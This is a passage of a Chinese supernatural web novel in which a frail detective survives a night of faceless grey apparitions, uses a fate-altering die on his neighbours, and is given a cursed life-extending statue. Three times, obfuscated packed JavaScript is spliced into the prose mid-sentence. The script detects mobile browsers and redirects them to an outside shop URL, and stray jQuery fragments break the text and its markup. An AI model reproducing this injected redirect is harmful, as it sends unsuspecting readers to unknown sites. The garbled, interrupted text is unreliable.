季泠州插了一块羊肉塞进嘴里。 忽然,店门被人用力推开。 一个穿着深绿色长裙的年轻女人冲了进来,她用力睁大眼睛,试图让眼泪蒸发,可惜温热的透明液体还是顺着脸颊大颗滚落。 她短促地抽噎了一声,就像被抛弃的小狗,坐在角落的座位上。 服务生们似乎早就见多不怪。一个人熟练地倒了一大杯麦酒,放在托盘上送了过去。 还有一个人则推门离开。 季泠州并无意窥探他人的隐私,只是那女人周身显示的信息实在是引人注目。 【蠕行者的下一个目标】 她身上的颜色也很不正常。 他用“鉴定”观察大部分人时,通常能看到红、黄、绿三种颜色,而那女人身上则是黄光中带着一缕淡淡的黑。 有意思!他需要更多信息。 季泠州眯起眼睛,仔细观察了一下服务生们。 在他熟练使用“鉴定”技能后,凡人于他而言就是一本翻开的书,只要集中注意力,就能看到关于他们的各式各样信息。 当然,大部分时候他会选择不刻意去看。 否则,在一个被密密麻麻小字覆盖的世界里,简直寸步难行。 服务生头上漂浮着各式各样的标签。 【不讲卫生】、【麦酒侠(他总是盛到溢出来)】、【偷懒】、【记性差】、【意见领袖】、【自恋狂】…… 就是你了,季泠州的视线锁定人群之中,正兴高采烈说话的一个红发服务生,他头上挂着【意见领袖】标签。 他挥手示意红发服务生过来。 “你们这麦酒口感很棒。”他晃了晃杯子,“能整桶售卖吗?” “当然,先生。”红发服务生自信一笑,“您需要几桶?” “先来一桶吧。”麦酒保质期有限,相比之下他更喜欢喝些甜的,毕竟生活已经很苦了,再不来点甜头坚持支撑不下去。 季泠州装作犹豫的样子,略一思索,说: “那位女士。”他朝角落偏了偏下巴,“给她送一杯蜂蜜红茶,算我账上。” 一杯蜂蜜红茶需要三个生丁,他干脆往服务生手里塞了五个生丁。 红发服务生笑得更真了些:“贝内特小姐是我们的常客,可惜最近遇到了一些烦恼,还请您多谅解。” “哦?”他露出个好奇的表情。 红发服务生压低声音,用极低的声音说:“她的未婚夫失踪了。” 他顿了顿,又补了一句,“家里最近给她重新物色了人选,在市政厅工作。” “那可够倒霉的。”季泠州随口问,“她很在意那位未婚夫?” “这我不好说。”服务生想了想,“不过她一直在委托侦探寻找,没停过。” 季泠州点点头,继续吃东西。 贝内特小姐的酒量似乎极差,喝完那一杯麦酒就开始摇晃。 这时,先前离开的那个服务生突然回来了,身后跟着一个衣着华丽,和贝内特小姐年龄相仿的年轻女人,似乎是她的朋友。 “天!艾希莉,你又在喝酒!”她哀呼一声,说完指挥身后两个侍女架起贝内特小姐离开。 路过季泠州时,年轻女人还朝露出个抱歉的笑。 透过玻璃橱窗,只见她们一行四人朝着街对面而去。巧了,贝内特小姐正住在季泠州的隔壁。 该了解的东西知道的差不多,他也站起身回家。 …… 二楼,卧室。 季泠州神色凝重地放下侦探日报9059。 这东西用起来很简单,上面有一块叫做“读者来信”的空白区域,只要在上面输入要查询的内容,下面的版面就会自动更新。 像比较笨的纸质版搜索引擎。 他刚才查阅了“蠕行者”,一片空白,并没有相关记载。但检索侦探协会内部资料时,看到了许多掉san的东西。 啊!这个世界的危险和迷人程度,都超乎想象。 他合上报纸,深深地吸了口气。今天的超凡知识学习结束了,他决定上“论坛”看看。 是的,侦探日报有读者来信板块,上面的内容都是和他一样的会员发的,甚至可以滑动刷新,回复评论。 与时俱进,是一个侦探的必备素质。 季泠州拉了拉被子,换了个舒服的姿势。点开那篇《太炸裂了:年度婚外情委托经历复盘,新人入行必须知道的十条建议》,聚精会神地看起来。 房间外传来一声轻响。 像是指节不小心碰到了玻璃。 季泠州原本以为是风。这栋老房子年头不短,夜里总会发出些不合时宜的动静。可那声音隔了几秒,又响了一下,位置几乎没变。 太规律了。 他掀开被子,从床头柜抽屉里拿出左轮手枪,蹑手蹑脚地下了床。 早就知道涅伽拉德不安全,今天怕是要直面犯罪了,希望自己苦练了几天的“美式居合”,关键时候不要掉链子。 他披上外套,调亮煤油灯,一把将卧室门推开。 露台的玻璃门外站着一个人。 穿着灰色的外套,衣料湿漉漉地贴在身上。那人站得很近,额头几乎要贴上玻璃,却一动不动。 喝醉的船工?掉到河里又爬起来的小偷?或是某个精神不正常的流浪汉? 无论哪种,都不是什么好消息,但也谈不上致命。 他皱了皱眉,没有立刻靠近,只是站在原地观察,思考着处理方法。 就在这时,那人伸手敲了一下玻璃。 然后,他注意到那人的的指关节烂了,露出发灰的骨头。 不对,嘴角也是腐烂的。 那东西,不是人! 行尸?缝合怪? 季泠州喉咙微微发紧,下意识向前走了两步想看清楚些,又立刻停住。 他敏锐地发现,随着距离拉近,灰衣人进入煤油灯的照明范围。 可那张脸,没有变清楚。 五官像是被一层看不见的雾糊住,无论他怎么调整角度、怎么聚焦视线,视线始终停留在一个模糊的边界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182884|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是夜色的问题,不是玻璃的问题。 也不是视力的问题,季泠州很确定,自己这具躯体虽然走几步就要大喘气,但耳聪目明,五感敏锐度甚至还要超过常人。 那张脸无法被看清。 一股寒意顺着脊背爬上来,他慢慢后退了一步,没有发出任何声响,没有去拉窗帘,也没有贸然关灯。 在弄明白那东西的意图前,他打算维持原样。看过恐怖片的都知道,鲁莽行事是通向死亡的直通车。 大概率还会死得很不安详。 季泠州不知道自己站了多久,那东西忽然消失了。 没等他走上前去查看。 下一秒,敲打声自身后响起。 近在咫尺的走廊窗户外,灰影隔着一层玻璃和他对视。 不能再这样下去了! 那东西离自己越来越近,也许下次就突破窗户直接站在自己身后了。 他迅速的在脑海里思索灰影出现的规律。那东西总是出现在玻璃后面,直勾勾地盯着自己,似乎能寻到自己的位置。 直视! 或许视线是它定位自己的方法,虽然并不确定那东西有眼睛。 季泠州抓起一把亡月教会发的入教传单,往玻璃上贴。 当最后一张传单粘好,敲击声瞬间消失。 有效果!太好了。 他紧接着一个健步,将露台落地门旁的窗帘拉上。 灰影似乎并不甘心,下一秒敲击玻璃的声音又从书房里传来。 季泠州习惯性地冲过去,手握住门把手飞快地转了半圈。 倏忽,他似是想起了什么,像被毒蛇咬了般松开手,大步后退。 如果没记错,下午给房间通风时,他忘了关书房窗户。 他屏住一口气,眼眨也不眨地盯着那扇胡桃木门。 “咚咚咚”,书房内响起敲门声。 幸好自己没有贸然进去,那东西已经进来了,和自己仅隔着一道门。 他在脑海里飞速回忆房间门窗关闭的情况,一颗心沉了下去。 一楼会客厅的窗户是开着的,而且会客厅没有门。也就是说,那东西随时可能出现在自己周围。 那它为什么要在二楼兜圈子呢?它要做什么? 他焦灼地思索着,却没注意到,不知从什么时候起敲击声消失了,周围一片寂静。 季泠州转动眼睛,眼角余光能瞥见身后的一角玻璃。 只见一张灰白的脸静静浮在他肩膀旁边,腐烂的嘴角微微弯起,似是在笑。 它,贴着自己,站了不知道多久。 来不及思考,他旋身后撤拉开距离,同时朝着灰影射击。 不求精确,只求用最快速度清空弹仓。他十分庆幸,自己利用空闲时间,将家里的物品构筑了一遍。 【人体描边大师的福音-体验版(剩余使用次数87):强制修正弹道。只要你朝着大概的方向开枪,子弹自己会自动寻找目标。】 风在耳边呼啸,空气温度迅速下降,升腾起袅袅雾气。 伴随着枪声,子弹穿过灰影打在了玻璃上,雕花窗框夹着玻璃碎片撒了一地。 灰影像漏气的气球一样,发出“噗噗”的声音,消失在了空气里。 季泠州的心怦怦直跳,大口喘息着。一瞬间飙升的肾上腺素,让他在刚才一瞬间看清了许多细节。 灰影并不是实体存在,相比于传统意义上的鬼魂邪灵,它更像是某种超自然现象。 忽然,一阵冷风拂过手背。煤油灯闪了闪,熄灭了。 骤然失去光亮,他眼前一片漆黑。凭借着窗外的月光,能看到空气中浮出影影绰绰的影子。 他当机立断构筑了煤油灯。 【季泠州的煤油灯(剩余使用时间12小时):如意如意,随我心意。这盏老旧的油灯跳过了电气时代,现在可由你的意念直接点亮。】 他立刻下令,让煤油灯亮起。 眼前的画面让他头皮发麻,走廊里站满了灰影,挤得像是春运期间的高铁站。 它们不约而同地转过脸,腐烂的嘴角一点点弯起。 微笑。 10. 篡命骰子 季泠州的心停跳了一刹,又疯狂地将血泵向四肢百骸。 太多了! 和挤满房间的灰影相比,手中的左轮手枪就像孩子的玩具。 他的大脑飞快运转,该怎么办? 肯定有生路。 若这个世界的异常都如此强大,那人类早就灭绝了。 脑海中灵光一闪。 灰影无法进入密闭的空间,否则最开始它们就会敲破玻璃,闯入房间了。 想通这一点,季泠州瞬间想到了解决办法。 他的目光牢牢锁定在最近的房间,盥洗室上。 他记得盥洗室的窗户锈住了打不开,预约的维修工一周后才能来。 只要逃进去,再关上门,就是一间理论上的密室。最重要的是,为了预防可能的火灾,他将剩余的煤油都丢在了盥洗室的角落。 光照、水、结实的门,还有比这更完美的避难室吗? 唯一需要解决的,就是清出一条通往盥洗室的路。 自己还剩三颗子弹,省着点用应该可以。 当机立断季泠州对离自己最近的灰影射击,他专门找准角度,经可能地让弹道多穿过几只灰影。 “噗!”三五只灰影化作碎片,消失在空气里。 更多的灰影涌上来。 季泠州弯腰,以狼狈的姿势在地上打了个滚,钻进盥洗室。 然后用力将门合上。 煤油灯光打在水银镜上,整个房间分外明亮。 他提着灯,将盥洗室仔仔细细检查一遍,确保没有遗漏任何死角。 剩下的,就是等待了。 第一张脸已经候在盥洗室的玻璃外了,它就那样用模糊不清的脸盯着季泠州。 接着,是第二张、第三张。 它们像是上锅前摆放过近的馒头胚子,挤成一团。 季泠州毫不畏惧地和它们对视。随着持续观察,一行信息浮现在灰影头上: 【蠕行者:寂静终末的新玩具……%¥#生命*&替代¥…#】 他只能看到一点点,更多的内容依旧混沌。 隔着门,能听到走廊里传来雨点一般的敲打声,似是有无数人同时上门拜访。 他只觉得无聊,拿起油壶,给煤油灯加满灯油。 盥洗室里的持续的光明逐渐驱散了灰影,人脸一张接着一张消失。 结束了,这次是真结束了。 危险过后,他才发现自己浑身上下都被汗打湿了,衬衣紧紧地贴在身上。 他缓缓坐在浴缸沿上,只觉得浑身上下一阵无力。险些忘记了,这具时日无多的身体禁不住这种折腾。 季泠州在心底暗下决心,以后得在房间每一处都放个躺椅,即便是盥洗室也不例外。 浴缸冰凉又坚硬,隔得人生疼。坚持了一会,还是忍不住站起来。 他焦躁的翻开报纸,只见头版标题赫然变成“紧急提示”四个大字。 上次看,还是《涅伽拉德将迎来连续降雨》。 顺着标题往下看,是一则短讯。 【接异对司紧急通知,涅伽拉德发生大规模异常现象,会员请勿离开居所,紧闭门窗,提防一切接近你的存在。如有余力,请帮助身边的普通人。——侦探协会】 【重金悬赏一切异常信息,有任何发现请填写递交,核实后奖励将在五个工作日内发放。】 侦探协会的反应很快。 他想了想,掏出口袋里的笔,在报纸上写下自己的发现,包括进入房间的规律,以及他的猜测——或许,灰影变多和煤油灯灭了一次有关。 光照很重要。 忽然,窗外一下子亮起来,他抬头透过玻璃望去。 几条街外着火了,火光照亮了半边天。但是看不到救火的人。十几米高的火焰安静舔舐着建筑。 火离得太远,他更担心自己的邻居,也就是今天下午有一面之缘的艾希莉·贝内特小姐。 她的房子刚好在盥洗室视野范围内,此刻被火光照的清楚。 贝内特小姐躺在沙发上,支起半边身子抬头望向房子大门。 这个角度的视线很好,既能看清贝内特小姐,又能看清她房间外的蠕行者。 它像个礼貌绅士一样,站在门外有规律的敲门。 季泠州推测,贝内特小姐可能还听到了某种声音。 虽然距离太远了听不见,但他能清楚看见,她的嘴一张一合,似在和人说话。 得想个方法拦住她。 虽然只是萍水相逢的陌生人,但作为一个经过现代教育的新时代青年,实在无法袖手旁观。 他苦笑着摊开手,自己两手空空,还被困在盥洗室里,能有什么办法? 想是这么想,实际他还是开始翻找口袋,试图找到些工具。忽然摸到一个冰冷、坚硬的小方块,掏出来一看是骰子。 他心中出现个大胆的想法。 既然事情已经糟到不得了,那无论发生任何改变,都有概率推动结果朝好的方向改变。 季泠州立刻指定艾希莉·贝内特为作用对象,丢下了骰子。 六点。 她的运气真好。 隔着两道玻璃,只见贝内特小姐甩了甩头,瞬间清醒了过来。 她不再犹豫,披上外衣,脚步轻快地朝门口走去。 糟糕!【篡命骰子】解除了她的醉酒效果。若放在平时,自然是一件好事。 可是蠕行者就在她门外,走得越快,完蛋越快呀! 季泠州当机立断再次丢下骰子。 三点。 贝内特小姐的手已经放在了门把手上,然后…… 一把将门把手拽了下来! 意料之外的发展。 而且很是滑稽,他忍不住笑出了声,这下看来是安全了。 下一秒,贝内特小姐一把丢掉门把手,朝一旁的窗户走去。 似乎想打开窗户,和外面的人说话。 哦豁!季泠州扶额,六点的后遗症还没有消失,清醒的贝内特小姐行动力未免太强了。 【篡命骰子】只剩下最后一次使用机会。 他没报什么希望,直接捡起来又投了一次。 这次是一点。 运气降到最低,能不能成,只能交给命运了。 季泠州静静地望着窗户,只见贝内特小姐的手一点点探向窗框。 然后,仿佛慢动作一样。窗帘杆整个掉了下来,砸在她头上。 她捂住脑袋,痛呼一声,整个人被窗帘包住。 失去视线加上头痛,她脚下的步伐瞬间乱了。 只见淡蓝色窗帘包裹的人形跌跌撞撞地乱走了两步,一脚绊在翘起的地毯上,瞬间失去平衡躺倒在地,陷入了婴儿般的睡眠。 门外,灰影仍在敲门,但房屋里已经没有清醒的人能给它开门了。 季泠州看得牙酸,没想到自己的【篡命骰子】有如此威力。 他之前为自己掷出三点,倒了一天霉,本以为已经很不幸了。 现在看,简直是命运之神的垂青呀! 不过,不幸中的万幸是,贝内特小姐倒下的瞬间,恰好露出口鼻。 看她胸口的有节奏的起伏,应该只是晕过去了,睡一觉就会醒来。而且她被窗帘裹得严实,不用担心着凉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182885|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>季泠州很是欣慰,自己救下了一个人,虽然过程曲折,但结果是好的。 好心情加持下,不透气的盥洗室也变得舒适宜人起来。 接着,有帮助贝内特小姐的经验在前,季泠州又照猫画虎“帮助”了几个邻居。 有拄着拐杖的老夫妇、年轻的男学生、和一个三角眼的小混混。 他发现,将这些人的运气直接修改成一点是最好的方法。 他们在厄运加持下,会迅速失去行动能力。最倒霉的那个三角眼,他昏迷时不幸撞在墙上,失去了两颗门牙。 有成功,自然也有失败。 季泠州亲眼看到一对夫妇给蠕行者开了门,然后俩人直挺挺地站在门口,像雕塑一样一动不动。 接着,诡异的一幕发生了。 房间餐桌上的脏餐具自动飞进水池,某种无形力量将它们洗刷干净,然后摆入碗柜。 接着是地面的污渍一点点消失,凌乱的衣物被叠放整齐。 整个房间像是慢镜头一样,一点点变得干净、整洁起来。 是蠕行者做的吗?季泠州不确定。 但他清楚,超凡领域第一条规则就是:万事万物皆有代价。他不相信蠕行者会主动做好事。 他掏出报纸,将自己的推断一股脑写了上去。他不缺钱,但对于一个合格的玩家而言,有扩充积蓄的机会,一定要牢牢抓住。 时间一点点过去,后半夜还下了场小雨,将燃烧得只剩下框架的房屋浇灭。 …… “小子,醒醒。”朦胧中,有人在推他。 季泠州猛得睁开眼睛,警惕地四下扫视。 “得了,就你这警惕性,街上的流浪狗路过都能咬你几口。”熟悉的男人声音在身侧响起。 不知什么时候,塔洛恩·加兹鲁维来了。 盥洗室很宽敞,但塞进塔洛恩后,立马局促起来。 “你是通过休息室进来的?”他没有接塔洛恩的话,反问道。 “当然。” 塔洛恩耸肩,“不然你以为我会从走廊那个大洞爬进来?我倒是不嫌麻烦,怕你家窗户受不住。” 他扶起季泠州,来到会客厅里。 季泠州闷哼了一声,按着自己的脊背,缓缓躺进沙发,昨晚靠着墙睡着了,全身疼得不得了。 他揉着腰,问:“你特地跑一趟,总不会只是来看我还活着吧?” “算是吧。” 塔洛恩摆摆手,“不过那不是重点。” “昨晚整座涅伽拉德差点翻过来。”他打了个哈欠,“我一宿没合眼。” “灰影?”季泠州试探问。 “学名叫‘蠕行者’。”塔洛恩皱眉,“时间系的异常,危险程度还在摸底。” “有一点可以确定。” 他看了季泠州一眼,“那玩意儿绝对不是什么好东西,你最近最好别乱跑。” 季泠州心中暗暗点头,自己有“鉴定”,才能在第一之间知道那东西的名字,没想到侦探协会反应得也这么快。 “这次能这么快定性,多亏了你给的情报。” 塔洛恩顿了顿,“分部直接把总部的鉴定师请下来了。” “有什么奖励吗?” “我原本给你准备的是一次月光仪式。”塔洛恩看着他,“能稳稳给你续一两年命。” “现在加上协会的奖励,我帮你申请到了一件异常物,能一直用下去。喏,就是这个。” 塔洛恩拉开一扇门,上半身探进去,用力往外拉拽。 季泠州对此表示怀疑。能延续寿命的异常物,放哪都是异常珍贵的存在,怎么会轮到自己? 11. 苍白挽歌 经过一番努力,塔洛恩哼哧哼哧地搬出来一座雕塑。 那是一尊等人高的灰白色雕塑。 材质像石,又不像,表面布满细小的裂纹,仿佛被反复修补过。 雕塑整体呈人形,却没有明确的五官,通体笼罩在薄纱里,只能看到一双绝美忧郁的眼睛。 他只看了一眼。胸口却像被用力按住,那些本该早就沉下去的画面,一个接一个浮了上来。 恍惚中,他站在一幢看不清轮廓的建筑前。 雨声很大,大到分不清是落在身上,还是在耳边。有人在叫他,声音很远,却不肯停。 季泠州猛地移开视线,心跳顿了几拍,才重新对上呼吸。 “你的脸色不太好。”塔洛恩看了他一眼,语气随意,“第一次见它的人,反应都差不多。” 他没有继续这个话题,反而像是刻意避开般,介绍起雕塑的来历。 “苍白挽歌。” “传说是古叶弥王朝一位雕塑家的作品。” “有人说,他在梦里看见了亡月;也有人说,这是亡月对背弃者的惩罚。”塔洛恩说得娓娓动听,语气里甚至带着几分欣赏。 季泠州发现,塔洛恩不愧是标签里有【花言巧语】的男人,单凭这口才在侦探协会真是屈才了,他应该去经商才对。 塔洛恩避重就轻,每一句都在说“能活”,却一句都没提“会怎么死”。 他的视线里,雕塑上浮出一行信息: 【苍白挽歌:亡月的杰作之一,亡月的杰作之一。每天与它处在同一空间超过八小时,死亡将被延后。注意:它会显著增加你遭遇厄运的概率。】 “反正,在你死掉之前,它是你的了。”塔洛恩做出总结。 季泠州:“直接告诉我它的副作用吧。” 塔洛恩左顾右盼打量着会客厅,指向窗边:“放那儿挺合适的,不挡道。” “我能接受。” “……好吧。”塔洛恩叹了口气,“之前的主人,基本都没活过半年。自杀、他杀,说不清,总之有点邪门。” “不过你本来也没几天了。说不定,反而能找到正确用法。” 季泠州没接话,只是把注意力从雕塑上移开。 “塔洛恩先生,继续说正事吧。”他抬眼看向塔洛恩,单纯为了护送一件异常物给自己,还不值得他专门跑一趟。 “昨晚不止有蠕行者。” 塔洛恩压低声音,“这片区域,还多了个命运系的东西。” 季泠州:“……?” “就在这附近。一夜之间,至少十个人倒了大霉。”塔洛恩咂咂嘴,用难以置信的语气说,“真是太惨了!” 季泠州的心里有个大胆猜想。 “具体讲讲,我需要更多的细节。”他满脸沉着冷静。 塔洛恩掏出一份日报,用指头滑动了几下,读道: “据调查,一个叫怀恩·休的社区□□成员听到了去世母亲的呼唤,他正准备开门,忽然崴了脚,然后跌在一颗两米高的仙人掌上。疼痛让他失去了理智,一头撞在桌角,昏迷的同时还失去了两颗门牙。” “幸运的是,正因如此他没法给蠕行者开门。协会已经确认,蠕行者无法进入密闭空间。” 果然,季泠州越听越熟悉,这不就是三角眼吗? 后面的案例塔洛恩读得很快,摔断腿的、被门夹住的、在逃命时自己绊倒的。没一个是好下场,但全都活下来了。 塔洛恩总结:“协会和异对司商量了一下,暂时给它起了个名字——‘幸运的倒霉蛋’。它暂时未造成严重伤亡,但谁知道以后呢。” 季泠州只觉得汗流浃背。 塔洛恩:“协会的重心在蠕行者身上,它的影响太恶劣了。老法雷尔气坏了,你是不知道,今天就连夜莺都被骂了一顿。” 季泠州:“所以,调查‘幸运的倒霉蛋’就交给我了吗?” “聪明!”塔洛恩一拍大腿,“沾上命运的异常都很危险,大家都不……”他及时止住了嘴。 讪笑着说:“反正你都抱着苍白挽歌了,再坏也差不到哪去,你说是不是?” 说完这句话,大概是厚脸皮如塔洛恩,也不好意思了,他拿起桌子上的【篡命骰子】,故作镇定地把玩起来。 季泠州看到塔洛恩的动作心都提起来了,可不能被发现呀!否则自己怕是会被制服,当成异常抓起来。 他探出半个身子,伸手按住塔洛恩的肩膀,用失望悲伤的语气说道: “加兹鲁维先生。我明白,死亡率高的任务,通常不会留给熟人。” “唉,你误会了。”塔洛恩手一抖,骰子从他指尖滑落,朝桌子上掉去。 两点。 腥甜毫无预兆地涌上来,他没反应过来瞬间呛住了,大口咳嗽着,血溢出了唇角。 塔洛恩圆润的脸一下子慌张得不得了,按住季泠州的肩膀用力摇晃: “你怎么吐血了?!” 塔洛恩声音一下子变了调。 “糟糕糟糕,怀恩提得都是什么馊主意呀!今年第一例非战斗损员该不会落我头上吧?我太冤了,我什么也没干呀!”他大声嚷嚷。 季泠州被他摇得眼前发黑,但还是抽空,用衣摆将剩两次使用机会的骰子扫到地上。 “咳咳咳,我没事。”他靠在沙发上,声音虚弱。 心中下定决心,以后一定要把【篡命骰子】放好,没想到他人使用,竟要自己承担代价。 这代价也莫名其妙。 之前使用构筑物的代价无非是头晕无力之类的,这身体本就虚弱,代价等于没有。 如今代价换成咯血,这哪遭得住呀! 而且这血出现得也很可疑。 有现代医学常识的人都知道,人吐血的原因大多是消化道或呼吸道出血。 他身体健康,血是突然出现的,似乎被冥冥中的力量从某条血管里移出来的。就像打喷嚏时嘴里的面条,从鼻子里钻出来。 太尴尬了! 季泠州摸摸鼻子,竭力避开和塔洛恩对视。无他,塔洛恩脸上的同情都要溢出来了,就差提个果篮塞他怀里。 他抬起头,语气冷静得不像个病人:“我不能两手空空,去处理命运系异常。” 塔洛恩第一次如此敬佩一个新人,病得都吐血了,还想着完成任务。自己之前还想着克扣他的补助,真是该死! “那自然不会。”他抽出张纸条,双手捏住递给季泠州。 “侦探协会的内部成员在协会改组前,曾被民众称作猎魔人。现在虽然拓展了找猫、感情调查等业务,但还是会给大家提供武器。你去这个地址,自己领一套吧。” 果然是会哭的孩子有奶吃,季泠州严重怀疑自己要是不提,这套武器就会被昧下。 趁热打铁,他又准备开口,问问塔坎瑟斯马的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182886|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 塔洛恩似乎早有预料,掏出一个戒指递给他。 “这是你的注册礼物,梅特伦和我说过了,你想要一匹塔坎瑟斯马。说实在,很少有人会选它,近一百年来你还是第一个。” “这就是马?”季泠州把玩着手里的戒指。 【塔坎瑟斯契约之戒:在朔月之日,用银丁香、黑曜石粉、……勾勒出……,就可以穿过真实壁垒,短暂进入里世界。能抓到什么,就看你的水平了。】 “是的。你可以用它举行仪轨,召唤一匹生活在里世界的塔坎瑟斯马,它平时会居住在戒指里。” “什么仪轨?如何举行?” “协会流传的仪轨不完整,成功率很低,材料价值不菲。这就是没人选塔坎瑟斯马的原因。”塔洛恩摊摊手。 季泠州凝视着戒指信息里完整的仪轨信息,用无奈的语气说:“那我可以换一个吗?” 塔洛恩摇头。 季泠州用手帕捂住嘴,咳嗽起来,脸上潮红。 塔洛恩慌张。 “把天命皇帝的死亡笔记给我,否则我怎么知道苍白挽歌有用。”他语调铿锵,一副不答应就原地咽气的坚定态度。 塔洛恩瞪着季泠州的眼,坚持了一分钟,败下阵来,从怀里掏出笔记,拍在桌上。 “我还有事,先走了。我帮你预约了一周后的采血,梅特伦会陪同你。当然,如果你有异常物也可以拿出来。” 话音未落,他拉开一扇门跨步进去。 下一秒,他又从厨房门里出来了,手里拿着个水晶瓶:“忘了,这些也不能浪费了。” 塔洛恩旋开瓶盖,对着沾着血迹的地方一指,血珠飘起钻进瓶子,手帕变得干净起来。 他摇摇瓶子,估计了下分量,评价:“差不多有十毫升,我会帮你抵扣掉的。” 季泠州坐了许久,确定塔洛恩不会再回来了,这才端起桌子上昨天煮的茶,喝了一口。 冰凉苦涩的液体涌入喉咙,精神不由为之一振。 他一跃而起,就在刚才,他清晰地感受到了一丝反馈。他在五阶超凡者塔洛恩·加兹鲁维心里,留下了一个清晰的印象。 美。 强。 惨。 现在,能借用一次塔洛恩·加兹鲁维的力量。 太惊喜了!这是他第一次获得体力之外的加持,果真是付出越大收获越大。 借助侦探协会报纸,他大致了解超凡者的进阶方法。 提升灵性,探索职业的更多能力并频繁练习、熟练使用,就能升阶。当走到职业尽头,拥有截然不同的第二个职业后,即为半神。 总而言之,职业等同于世界的权柄。 职业类目如繁星大海,浩渺无际,各不相同。关于阶位,这个世界有一套成熟的评估标准。 季泠州估摸自己当前的水平,在一阶到二阶之间。即超凡力量只能影响自己和部分物品,无法影响其它智慧生命。 如今有机会体验五阶的力量,对他而言无疑是一次机会,已经想好该如何使用了。 他伸手按在房屋地板上,闭上眼睛。 只见意识海里悬浮着两颗大星,一颗蓝金相间熠熠生辉,是【玩家】。另一颗则形状不规则,满是棱角,是前者几十倍之大,但不发光。 他在心中构思着,同时调动两股力量。 门窗紧闭的会客厅里,无形的风穿梭盘旋,窗帘摇曳。 12. 石头小屋大变身 “唰!”窗帘整齐划开,木制窗户错开缝隙,凌冽的空气涌入室内。 角落里的衣帽架像触手一般伸长,夹起搭在椅背上的外套,然后挂在自己身上。 整个房间一阵抖动,灰尘簌簌落下,飘了季泠州一脸。 接着,家具、地板上的灰尘团在一起,被窗户一口吐了出去。 初步智能化的房屋让季泠州很满意,它的功能比预想中还要强。 自动完成家务、开关门窗、禁止未经允许的访客进入(点名塔洛恩)…… 美中不足的是,这段介绍他越看越别扭。 【季泠州的石头小屋:你的家拥有了部分休息室的能力。它活了过来,深深地眷恋着你,自认为是你的第一个孩子,请给他起个名字。注:请尽快买下孩子的产权,以防骨肉分离的人间惨剧。】 喜报,继“爱人”之后。他现在,似乎又多了个孩子。 啊这! 季泠州揉了揉鼻子,决定给石头小屋起名为“彼方”。 异世界的家,不正是彼方吗?希望有一天自己能像天命皇帝一样,找到回家的路。 虽然没什么证据,但他坚定认为天命不是失踪了,而是成功回家了,搞不好在地球,自己还认识祂。 “彼方,这个名字……可以吗?”他不自在地开口。 房间因喜悦而颤动。 茶几上的茶壶殷切地倒了杯茶,杯子抖动着飘到他嘴边。 季泠州试着提出请求:“我想喝点热的。” 茶杯飞进厨房,煤气炉瞬间点燃,大火灼烧着杯子。 不出意料,杯子炸了,茶水溅得到处都是。一块抹布急匆匆擦着茶水,手忙脚乱间,不慎被点燃。 水龙头射出一股水流,将火焰扑灭。 这一切都在电光火石间完成,季泠州看得眼都直了。 “杯子是不能加热的。你可以烧点水,重新泡一壶,茶叶在柜子里。”他以尽可能直白的语言描述自己的需求。 十分钟后,季泠州坐在餐桌前无可奈何。 面前的铸铁锅里,煮着满满一锅泡开的茶叶,氤氲热气模糊了视线。 彼方还贴心地准备了一套刀叉。 看到季泠州许久不动,厨房水龙头悄悄旋开,水一滴滴落下,彼方哭了。 水流迅速变大,唰唰唰地往外流,很快满出了池子,溢到外面。 “没事。不是你的问题,是我没说清楚。”季泠州慌张地安慰彼方。 再不停下来,整个家就要被彼方的眼泪淹没了。当然,市政厅的水费账单会更快到来。 水龙头主动关掉了。 火再次燃起,开始炙烤铁锅,一块干巴面包飘起砸进锅里。 季泠州脸色一沉,连忙说:“彼方,停下!你现在不需要学做饭。” 浓烈的焦糊味儿传出,面包已经烧黑了。 “听我说。我让你做什么,你就做什么。没有指令,不要自己决定。” 房屋轻轻一颤,表示明白。 “我出去一趟,不要让任何人进来。”他披上外套,不放心又叮嘱了一句。 “切记,也不要做任何家务,任何!” 季泠州飞速离开这个让他哭笑不得的家,直奔街对面的金罗勒餐馆。 他必须得吃点东西,吃些铁锅煮的茶、炭黑面包以外的食物。 在昨天的老位置,他行云流水般点完菜,挥手招来昨天的红发服务生,照例先递过去两个生丁的小费。 接着打听道:““昨晚城里起火了。你知道是哪里吗?” 红发服务生拿到小费微微一笑,四下巡视发现没人注意这边,立刻熟练地坐到季泠州身边,说: “先生,这事你问我就对了。是缝纫匠大道。煤气漏了,烧了好几幢房子。” “还有其它事情发生吗?” “您想问哪种事?”红发服务生眨眨眼睛。 “比较不同寻常的事情。” “倒是有一件怪事。面包店的老恩肖死了,死前还做了满满一橱柜的面包,有人说他可能是累死的。” “还有呢?” 